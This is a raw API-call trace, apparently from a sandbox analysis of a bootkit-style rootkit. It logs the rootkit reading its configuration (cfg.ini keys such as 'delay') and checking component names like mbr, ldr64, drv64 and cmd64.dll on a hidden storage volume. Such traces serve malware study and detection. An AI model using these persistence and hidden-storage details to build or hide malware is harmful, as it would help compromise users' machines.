IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.676] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.676] IdePortDispatch () returned 0x103 [0128.676] KeWaitForMutexObject () returned 0x0 [0128.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.676] KeLeaveCriticalRegion () [0128.676] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.677] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.677] KeEnterCriticalRegion () [0128.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.677] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.677] KeLeaveCriticalRegion () [0128.677] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.677] KeEnterCriticalRegion () [0128.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.677] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.677] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.677] KeLeaveCriticalRegion () [0128.677] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.677] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.677] KeEnterCriticalRegion () [0128.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.677] ExFreePoolWithTag (P=0xfffffa8003c00c30, Tag=0x0) [0128.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.677] KeLeaveCriticalRegion () [0128.677] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.677] ReleaseMutex (hMutex=0xf0) returned 1 [0128.677] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.677] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.677] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.677] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.678] KeEnterCriticalRegion () [0128.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.678] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.678] IdePortDispatch () returned 0x103 [0128.678] KeWaitForMutexObject () returned 0x0 [0128.678] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.678] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.678] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.678] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.678] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.678] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.678] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.678] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.678] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.678] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.678] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.678] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.678] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.678] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.678] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.678] KeLeaveCriticalRegion () [0128.678] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.678] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.678] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.678] KeEnterCriticalRegion () [0128.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.678] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.678] IdePortDispatch () returned 0x103 [0128.678] KeWaitForMutexObject () returned 0x0 [0128.679] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.679] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.679] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.679] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.679] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.679] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.679] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.679] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.679] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.679] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.679] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.679] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.679] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.679] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.679] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.679] KeLeaveCriticalRegion () [0128.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.679] ReleaseMutex (hMutex=0x100) returned 1 [0128.679] Sleep (dwMilliseconds=0x2bf20) [0128.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fe5c630, dwHighDateTime=0x1d24fa4)) [0128.685] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.685] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.685] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.685] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.685] KeEnterCriticalRegion () [0128.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.685] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.686] IdePortDispatch () returned 0x103 [0128.686] KeWaitForMutexObject () returned 0x0 [0128.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.686] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.686] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.686] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.686] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.686] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff450 [0128.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.686] KeLeaveCriticalRegion () [0128.686] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.686] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.686] KeEnterCriticalRegion () [0128.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.686] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.686] KeLeaveCriticalRegion () [0128.686] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.686] KeEnterCriticalRegion () [0128.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.686] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.686] IdePortDispatch () returned 0x103 [0128.686] KeWaitForMutexObject () returned 0x0 [0128.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.686] KeLeaveCriticalRegion () [0128.686] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.687] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.687] KeEnterCriticalRegion () [0128.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.687] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0b000 [0128.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.687] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.687] IdePortDispatch () returned 0x103 [0128.687] KeWaitForMutexObject () returned 0x0 [0128.687] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.687] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.687] IdePortDispatch () returned 0x103 [0128.687] KeWaitForMutexObject () returned 0x0 [0128.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.687] KeLeaveCriticalRegion () [0128.687] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.688] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.688] KeEnterCriticalRegion () [0128.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.688] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.688] KeLeaveCriticalRegion () [0128.688] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.688] KeEnterCriticalRegion () [0128.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.688] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.688] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.688] KeLeaveCriticalRegion () [0128.688] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.688] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.688] KeEnterCriticalRegion () [0128.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.688] ExFreePoolWithTag (P=0xfffffa8003bff450, Tag=0x0) [0128.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.688] KeLeaveCriticalRegion () [0128.688] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.688] ReleaseMutex (hMutex=0xf0) returned 1 [0128.688] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.688] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.688] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.688] KeEnterCriticalRegion () [0128.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.688] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.688] IdePortDispatch () returned 0x103 [0128.689] KeWaitForMutexObject () returned 0x0 [0128.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.689] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.689] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.689] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.689] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.689] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00c30 [0128.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.689] KeLeaveCriticalRegion () [0128.689] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.689] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.689] KeEnterCriticalRegion () [0128.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.689] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.689] KeLeaveCriticalRegion () [0128.689] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.689] KeEnterCriticalRegion () [0128.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.689] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.689] IdePortDispatch () returned 0x103 [0128.690] KeWaitForMutexObject () returned 0x0 [0128.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.691] KeLeaveCriticalRegion () [0128.691] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.691] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.691] KeEnterCriticalRegion () [0128.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.691] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0c000 [0128.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.691] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.691] IdePortDispatch () returned 0x103 [0128.691] KeWaitForMutexObject () returned 0x0 [0128.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.691] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.691] IdePortDispatch () returned 0x103 [0128.691] KeWaitForMutexObject () returned 0x0 [0128.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.691] KeLeaveCriticalRegion () [0128.691] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.692] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.692] KeEnterCriticalRegion () [0128.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.692] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.692] KeLeaveCriticalRegion () [0128.692] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.692] KeEnterCriticalRegion () [0128.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.692] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.692] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.692] KeLeaveCriticalRegion () [0128.692] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.692] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.692] KeEnterCriticalRegion () [0128.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.692] ExFreePoolWithTag (P=0xfffffa8003c00c30, Tag=0x0) [0128.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.692] KeLeaveCriticalRegion () [0128.692] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.692] ReleaseMutex (hMutex=0xf0) returned 1 [0128.692] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.692] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.693] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.693] KeEnterCriticalRegion () [0128.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.693] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.693] IdePortDispatch () returned 0x103 [0128.693] KeWaitForMutexObject () returned 0x0 [0128.693] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.693] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.693] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.693] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.693] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.693] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00110 [0128.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.693] KeLeaveCriticalRegion () [0128.693] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) 